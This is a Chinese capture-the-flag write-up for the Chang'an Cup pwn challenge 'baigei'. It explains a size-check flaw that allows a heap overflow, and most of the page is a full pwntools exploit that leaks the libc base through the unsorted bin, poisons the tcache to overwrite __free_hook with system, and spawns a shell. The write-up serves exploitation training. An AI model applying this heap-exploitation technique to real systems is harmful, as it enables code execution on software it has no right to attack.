【Pwn】长安杯baigei

前言

这场和das月赛重了,当时这个baigei题没仔细看,长安杯就解了两道jar包web的送分题,国庆开始补题

漏洞分析

最基本的菜单,增删改查都有的那种,漏洞在于add中的size即使是error的,也会被Size数组记录 并且之后的edit中,只会比较更改后的size和Size数组中的size的大小 如果我们将Size数组中的size写成非常大的,那么我们可以随意edit从而进行堆溢出 改一个chunk头为0x431,放入unsortedbin,add一个0x400进行unsortedbin切割,泄露libc_base 并且根据2.27中tcachebins不会检测chunk头,我们在free_hook处构建一个fakechunk,free_hook改写为system,最后free(sh)得到shell

add中的写入Size数组 edit中的判断

exp

def add(index,size, content="a"):
    sla(">>", "1")
    sla("idx?",str(index))
    sla("size?",str(size))
    sa("content?",content)

def free(index):
    sla(">>", "2")
    sla("idx?", str(index))

def edit(index, size, content):
    sla(">>", "3")
    sla("idx?", str(index))
    sla("size?", str(size))
    sa("content?", content)

def show(index):
    sla(">>", "4")
    sla("idx?", str(index))

add(0,0x18,"aaaa")

sla(">>",b"1")
sla("idx?",b"0")
sla("size?",b"1919810")

add(1,0x20,"bbbb")
add(2,0x400,"cccc")
add(3,0x18,"dddd")
add(4,0x18,"eeee")

free(1)

payload = p64(0)*3 + p64(0x31) + p64(0)*5 + p64(0x431)
edit(0,0x60,payload)

free(2)
add(5,0x400)
show(5)
ru(": ")
libc.address = uu64(r(6)) - (0x7f735ae79061-0x7f735aa8d000)
leak("base",libc.address)
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
leak("free_hook",free_hook)
leak("system",system)

payload = p64(0)*3 + p64(0x31) + p64(free_hook-0x10)
edit(0,0x40,payload)
dbg()

add(6,0x28)
payload = p64(0)*2 + p64(system)
add(7,0x28,payload)
add(8,0x40,"sh\x00")
free(8)
dbg()

ia()